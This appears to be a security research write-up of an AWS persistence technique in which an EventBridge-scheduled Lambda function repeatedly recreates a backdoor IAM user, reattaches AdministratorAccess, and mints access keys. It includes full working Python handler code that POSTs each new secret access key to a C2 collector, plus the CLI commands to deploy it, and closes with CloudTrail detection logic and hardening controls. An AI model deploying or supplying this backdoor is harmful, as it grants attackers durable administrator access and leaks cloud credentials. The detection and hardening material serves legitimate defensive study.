Creating a privileged IAM user once is fragile. A defender can delete its key, detach its policy, or delete the user. Reconciliation changes the persistence model: automation treats the malicious identity as desired state and restores whichever component is missing.
The validated implementation uses an EventBridge schedule to invoke Lambda every five minutes. The function inspects one IAM user, restores AdministratorAccess, creates a replacement access key when necessary, and sends each new secret to the attacker.
Deleting the IAM user is not enough while the scheduler, reconciler, and its IAM repair authority remain intact.
Technique
The reusable technique is malicious desired-state reconciliation. A controller observes security-sensitive state, compares it with attacker-defined desired state, and repairs drift. Polling checks the state on an interval. Event-driven detection reacts to a state-change event. This implementation validates only polling through scheduled Lambda execution.
flowchart LR
D[Defender removes privileged state]
O[Recurring state observation]
R[Repair authority]
S[Privileged IAM state restored]
D --> O
O -->|drift found| R
R --> S
S -. next remediation .-> D
class D principal
class O,R,S awsResource
Required properties
- Automation can observe the protected state directly or inspect it on a schedule.
- An execution mechanism runs attacker-controlled reconciliation logic.
- The execution identity can recreate or repair every state component being protected.
- A scheduler, function, role, or equivalent anchor survives the remediation applied to the restored resource.
- A retrieval path exists when repair creates a secret that AWS returns only once.
Implementations
| Implementation | Validation | Drift detection | Repair identity | Persistence anchor | Key tradeoff |
|---|---|---|---|---|---|
| Scheduled Lambda reconciler | Validated | Polls IAM every five minutes through EventBridge | Lambda execution role | EventBridge rule, function, and execution-role permissions | Periodic IAM reads and deterministic repair events make the loop correlatable. |
EventBridge event patterns, Step Functions, and CloudFormation could support other reconciliation designs, but this repository has not validated those paths. They are not presented as working implementations.
How the implementation works
On each invocation, the Lambda function checks for one IAM user, recreates it when absent, restores the AdministratorAccess policy when detached, and creates a new access key when no active key exists. IAM returns the secret only during CreateAccessKey, so the function sends it during that repair.[1]
The credential-bearing identity is an IAM user because roles do not own long-term access keys. AdministratorAccess grants Action: * on Resource: * and can be attached directly to a user.[2][3]
Execution requirements
The deployment principal needs:
lambda:CreateFunctionandiam:PassRolefor a suitable Lambda execution role.events:PutRuleandevents:PutTargetsfor the recurring rule.lambda:AddPermissionon the function so EventBridge can invoke it.
The Lambda execution role must trust lambda.amazonaws.com. For the target user, it needs iam:GetUser, iam:CreateUser, iam:ListAttachedUserPolicies, iam:AttachUserPolicy, iam:ListAccessKeys, iam:CreateAccessKey, and iam:DeleteAccessKey. The attachment permission must allow the arn:aws:iam::aws:policy/AdministratorAccess policy.[4]
These IAM permissions can be scoped to the exact user ARN, such as arn:aws:iam::111122223333:user/service/application-deployment. iam:AttachUserPolicy can also be constrained with iam:PolicyARN so the execution role can attach only the intended managed policy.[5]
The function needs outbound HTTPS access to the C2. A function outside a customer VPC has outbound internet access by default. A VPC-attached function normally needs a NAT path for public internet access.[6]
Execution
The handler keeps the user name, path, administrator policy, and C2 endpoint in the deployment package. It uses IAM read operations on every invocation, but performs mutating actions only when part of the backdoor is missing.
import json
import urllib.request
from datetime import datetime, timezone
import boto3
from botocore.exceptions import ClientError
USER_NAME = "application-deployment"
USER_PATH = "/service/"
ADMIN_POLICY_ARN = "arn:aws:iam::aws:policy/AdministratorAccess"
COLLECTOR_URL = "https://collector.example/ingest"
iam = boto3.client("iam")
def ensure_user():
try:
iam.get_user(UserName=USER_NAME)
return False
except ClientError as error:
if error.response["Error"]["Code"] != "NoSuchEntity":
raise
iam.create_user(UserName=USER_NAME, Path=USER_PATH)
iam.get_waiter("user_exists").wait(
UserName=USER_NAME,
WaiterConfig={"Delay": 1, "MaxAttempts": 20},
)
return True
def ensure_admin_policy():
response = iam.list_attached_user_policies(UserName=USER_NAME)
attached = {
policy["PolicyArn"] for policy in response["AttachedPolicies"]
}
if ADMIN_POLICY_ARN not in attached:
iam.attach_user_policy(
UserName=USER_NAME,
PolicyArn=ADMIN_POLICY_ARN,
)
return True
return False
def ensure_access_key():
response = iam.list_access_keys(UserName=USER_NAME)
keys = response["AccessKeyMetadata"]
if any(key["Status"] == "Active" for key in keys):
return None
for key in keys:
iam.delete_access_key(
UserName=USER_NAME,
AccessKeyId=key["AccessKeyId"],
)
return iam.create_access_key(UserName=USER_NAME)["AccessKey"]
def beacon(access_key, context):
payload = json.dumps(
{
"function_arn": context.invoked_function_arn,
"request_id": context.aws_request_id,
"observed_at": datetime.now(timezone.utc).isoformat(),
"user_name": access_key["UserName"],
"access_key_id": access_key["AccessKeyId"],
"secret_access_key": access_key["SecretAccessKey"],
"status": access_key["Status"],
}
).encode("utf-8")
request = urllib.request.Request(
COLLECTOR_URL,
data=payload,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(request, timeout=3) as response:
response.read()
def lambda_handler(event, context):
user_created = ensure_user()
policy_attached = ensure_admin_policy()
access_key = ensure_access_key()
if access_key is not None:
beacon(access_key, context)
return {
"user_created": user_created,
"policy_attached": policy_attached,
"access_key_created": access_key is not None,
}
The IAM user_exists waiter polls GetUser once per second and stops after the user becomes visible. The function timeout must leave room for that IAM consistency check and the outbound request.[7]
Package and create the function with an existing execution role that has the required IAM permissions:
zip function.zip lambda_function.py
aws lambda create-function \
--function-name application-processing \
--runtime python3.13 \
--handler lambda_function.lambda_handler \
--role arn:aws:iam::111122223333:role/application-processing \
--timeout 30 \
--zip-file fileb://function.zip
Create an EventBridge rule, authorize it to invoke the function, and attach the function as the target:[8][9]
aws events put-rule \
--name application-processing-schedule \
--schedule-expression 'rate(5 minutes)'
aws lambda add-permission \
--function-name application-processing \
--statement-id allow-eventbridge-processing-schedule \
--action lambda:InvokeFunction \
--principal events.amazonaws.com \
--source-arn arn:aws:events:us-east-1:111122223333:rule/application-processing-schedule
aws events put-targets \
--rule application-processing-schedule \
--targets 'Id=application-processing,Arn=arn:aws:lambda:us-east-1:111122223333:function:application-processing'
The first scheduled invocation creates the IAM user, attaches AdministratorAccess, creates an active access key, and sends the only available copy of its secret to the C2. IAM returns the secret access key only during key creation.[1:1]
If the user still exists with an active key, later invocations generate only IAM read events. If the user exists but the policy or active key is missing, the function restores only that component. Programmatic deletion of an IAM user requires its access keys and attached policies to be removed first, creating a window in which the scheduled function can restore them before DeleteUser succeeds.[10]
Resilience and failure conditions
Persistence is bounded by the reconciliation anchor. Removing the restored IAM state does not stop the loop. Disabling the schedule, deleting the function, or removing the execution role’s repair permissions does.
| Defender action | Survives? | Why |
|---|---|---|
| Delete the IAM user | Yes | The next invocation recreates the user, policy attachment, and key. |
| Delete the active access key | Yes | The reconciler creates another key and sends its one-time secret. |
Detach AdministratorAccess |
Yes | The reconciler reattaches the managed policy. |
| Downgrade permissions through policy detachment | Yes | The protected attachment is restored on the next poll. |
| Disable or delete the EventBridge schedule | No | Periodic state observation stops. |
| Remove IAM repair permissions from the execution role | No | The function can observe drift but cannot repair it. |
| Delete the Lambda reconciler | No | No code remains to compare and restore state. |
The schedule is the recurrence anchor, the function is the logic anchor, and the execution role is the authority anchor. All three must remain usable for this implementation to persist.
Detection
The behavioral invariant is security-sensitive IAM state being removed or downgraded and then restored by automation. Correlate a successful delete or detach with repair actions against the same user, policy, or key within the five-minute polling interval. Baseline approved identity provisioning by target identity and reconciler role, not by broad administrator-role allowlists.
The Lambda and EventBridge provisioning chain provides earlier evidence. CreateFunction20150331 identifies the function, package digest, and execution role. PutRule records the schedule, PutTargets connects the rule to the function, and AddPermission20150331v2 authorizes invocation.[11][12]
{
"eventTime": "2026-09-01T12:00:00Z",
"eventSource": "lambda.amazonaws.com",
"eventName": "CreateFunction20150331",
"awsRegion": "us-east-1",
"userIdentity": {
"type": "AssumedRole",
"arn": "arn:aws:sts::111122223333:assumed-role/DeploymentRole/session"
},
"requestParameters": {
"functionName": "application-processing",
"runtime": "python3.13",
"handler": "lambda_function.lambda_handler",
"role": "arn:aws:iam::111122223333:role/application-processing",
"code": {},
"environment": {}
},
"responseElements": {
"functionArn": "arn:aws:lambda:us-east-1:111122223333:function:application-processing",
"codeSha256": "P5VITRngl3L/kWmyVa6j5bLxE+yn+44ubt5qqYgt2JU=",
"state": "Pending",
"version": "$LATEST"
}
}
IAM records all authenticated API calls as CloudTrail management events. The Lambda execution role appears under userIdentity.sessionContext.sessionIssuer.arn, which provides the join back to the function configuration.[13][14]
Detection inputs
| Event source and name | Operation-specific fields | Why it matters |
|---|---|---|
lambda.amazonaws.com and CreateFunction20150331 |
requestParameters.functionName, role, runtime, handler, responseElements.functionArn, codeSha256 |
Establishes the watchdog function and its IAM execution role. |
events.amazonaws.com and PutRule |
requestParameters.name, scheduleExpression, state |
Establishes recurring execution. |
events.amazonaws.com and PutTargets |
requestParameters.rule, targets[].arn |
Connects the recurring rule to the Lambda function. |
iam.amazonaws.com and CreateUser |
requestParameters.userName, path, responseElements.user.arn |
Creates or recreates the backdoor identity. |
iam.amazonaws.com and AttachUserPolicy |
requestParameters.userName, policyArn |
Grants the user AdministratorAccess. |
iam.amazonaws.com and CreateAccessKey |
requestParameters.userName, responseElements.accessKey.accessKeyId, status |
Creates the long-term credential sent by the function. |
iam.amazonaws.com and DeleteAccessKey |
requestParameters.userName, accessKeyId |
May precede automatic key replacement. |
iam.amazonaws.com and DetachUserPolicy |
requestParameters.userName, policyArn |
May precede automatic administrator-policy restoration. |
iam.amazonaws.com and DeleteUser |
requestParameters.userName |
May precede complete recreation of the backdoor. |
Retain eventTime, recipientAccountId, awsRegion, userIdentity.arn, userIdentity.sessionContext.sessionIssuer.arn, sourceIPAddress, userAgent, and errorCode across these events.
Correlation logic
- Select successful
CreateUserevents initiated by an assumed role used as a Lambda execution role. - Within two minutes, join
AttachUserPolicywhere the user name matches andpolicyArnequalsarn:aws:iam::aws:policy/AdministratorAccess. - Join
CreateAccessKeyfor the same user and principal within the same two-minute window. - Raise severity when
DeleteUser,DeleteAccessKey, orDetachUserPolicytargeted that user during the previous ten minutes. - Map the execution role to Lambda functions, then map those functions to scheduled EventBridge targets. A five-minute schedule that repeatedly performs IAM reads on one user is strong supporting evidence.
- Correlate the function with periodic outbound HTTPS to a new or rare destination when Lambda network telemetry is available.
Baseline approved IAM provisioning roles, automation users, Lambda execution roles, managed-policy attachments, and EventBridge schedules. Do not broadly allowlist administrator roles. Scope exceptions to the expected principal, target user, policy ARN, function, Region, and deployment source.
Hardening
Hardening must break observation, recurrence, reconciliation logic, repair authority, or secret retrieval. Protecting only the restored IAM user leaves the persistence anchor intact.
| Control | Implementation | Why it helps |
|---|---|---|
| Lambda execution roles | Remove iam:CreateUser, iam:CreateAccessKey, and IAM permissions-management actions from Lambda execution roles unless the workload requires them. |
Removes the function’s ability to build the backdoor. |
| Role passing | Limit iam:PassRole to named Lambda execution roles and require iam:PassedToService to equal lambda.amazonaws.com.[15] |
Prevents a deployment principal from attaching an IAM-administration role to Lambda. |
| Permissions boundaries | Require an approved boundary on CreateUser with the iam:PermissionsBoundary condition key. Ensure the boundary denies IAM administration and privilege escalation. |
Keeps an attached AdministratorAccess policy from granting unrestricted permissions. |
| Policy attachment | Deny or tightly scope iam:AttachUserPolicy with iam:PolicyARN, especially for AdministratorAccess and other broad managed policies. |
Prevents the watchdog from restoring administrator privilege. |
| Access-key creation | Restrict iam:CreateAccessKey to dedicated identity workflows and approved user ARNs. |
Prevents Lambda from generating a new long-term secret. |
| Lambda deployment | Reserve lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:AddPermission, events:PutRule, and events:PutTargets for controlled deployment roles. Enforce code signing on protected functions.[16] |
Reduces who can install or replace a scheduled watchdog. |
| Network egress | Place Lambda functions that do not need public internet in private subnets without NAT, with VPC endpoints for required AWS services. | Removes the direct path used to send the secret access key to a C2. |
| Configuration monitoring | Compare Lambda functions, execution roles, EventBridge targets, IAM users, attached policies, and access keys with approved infrastructure. Alert on recreation after deletion. | Exposes the complete persistence relationship instead of treating each resource separately. |
References
AWS IAM API Reference, CreateAccessKey. ↩︎ ↩︎
AWS Managed Policy Reference, AdministratorAccess. ↩︎
AWS IAM API Reference, AttachUserPolicy. ↩︎
AWS Service Authorization Reference, Actions, resources, and condition keys for IAM. ↩︎
AWS Lambda Developer Guide, Enable internet access for VPC-connected functions. ↩︎
Boto3 API Reference, IAM.Waiter.UserExists. ↩︎
Amazon EventBridge User Guide, Creating a rule that runs on a schedule. ↩︎
Amazon EventBridge API Reference, PutTargets. ↩︎
AWS IAM API Reference, DeleteUser. ↩︎
detection.wiki, AWS Lambda CloudTrail events and CreateFunction sample. ↩︎
detection.wiki, EventBridge CloudTrail events and samples. ↩︎
AWS IAM User Guide, Logging IAM and AWS STS API calls with AWS CloudTrail. ↩︎
AWS Lambda Developer Guide, Logging Lambda API calls using CloudTrail. ↩︎
AWS IAM User Guide, Grant a user permissions to pass a role to an AWS service. ↩︎
AWS Lambda Developer Guide, Configuring code signing. ↩︎